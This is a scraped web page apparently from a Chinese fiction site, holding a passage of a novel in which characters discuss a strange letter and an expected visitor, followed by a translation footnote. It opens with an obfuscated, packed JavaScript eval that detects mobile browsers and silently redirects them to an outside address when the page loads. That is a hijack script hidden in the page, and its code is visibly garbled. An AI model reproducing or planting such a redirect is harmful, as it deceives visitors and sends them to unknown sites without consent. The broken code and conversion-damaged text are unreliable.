;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399580|131349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
總覺得這封郵件有些似曾相識,但一時又想不起曾經在哪裡見過這段話。諭佳也是滿臉一言難儘的神情,過了好半天終於評論了一句:
“這人到訪的時候,如果不戴一副麵具,恐怕對不起他發出的這封郵件。”
神穀倒是一臉無所謂的態度:
“誰知道呢,難保又是哪裡的教會有了什麼醜聞,然後被人抓住了把柄。”
“看來最近我們要見的人有點多,巴伐利亞總會所的專員還沒過來,就有另一人有事相求,看來最近這裡也是多事之秋……哦對了,若利韋昨晚淩晨回來的時候,把這個給了我,讓我轉交給你。”
池諭佳從大衣內側口袋裡拿出一個信封,輕輕放到神穀的手邊,又補上了一句:
“沒想到你到現在都還和他有聯係,居然也是通信這種古老的方式……我記得他前幾年好像娶了你的學妹,他們曾經好像還是師生?”
“他們結婚的時候,我那位學妹都已經畢業多年了……行吧,不管怎麼說,多謝你了,回頭我再看。”
神穀把信封收進了口袋,又把話題轉移到若利韋的身上。
在若利韋受了池諭佳的指示,拿上那個已經被調包過的信封趕回福塞爾修道院的當天下午,後知後覺的朗納找到了神穀羽音,略微帶些責怪意味地問她為什麼這麼急匆匆地就讓他回去,她最初有些不解,於是朗納便向她說明了想要將若利韋借去當親隨的想法。
“我想著,既然他覺得我難以接近,那還不如讓他暫時換一個環境,說不定他們兩個相處會很融洽,於是我就同意了——現在看來,我的判斷沒錯。”
諭佳卻是吊詭地笑著,又喝了一口紅茶:
“看來他待在這裡兩年時間,一直都很孤獨啊,孤獨到要從我們中借人過去當他的親隨了。這樣想來,他對他手下的情況大概也有點數,隻是和我們一樣,看破不說破而已。”
坐在我旁邊的夏洛蒂從一開始便保持著沉默,當神穀提及若利韋時,她甚至隱隱皺了皺眉頭,但馬上就轉為一種毫不在意的眼神,小口喝著啤酒,暗中觀察著正在喝茶的池諭佳。待到手中的茶杯已放在桌上,她便抬起手腕,看了看手表,用手指輕輕彈了一下杯沿,提醒著對麵兩位女士:
“時間不早了了,那位先生說,他午前就會過來,我們得儘早做好準備,整理一下文件,想想有什麼能夠接洽的地方。”
諭佳抬了抬眉毛表示同意,當即和夏洛蒂一起離座,向一旁的侍者點點頭。我也趕緊三下五除二地喝完了杯中的啤酒,稍作整理,也和神穀一起,跟上了她們,向出口走去。
注釋:
[1] 譯文:某君將於明日午前趨訪,渠有至為重要之事擬與閣下相商。閣下最近為聖座出力效勞表明,委托閣下承辦難於言喻之大事,足可信賴。此種傳述廣播四方,我等知之甚稔。屆時望勿外出。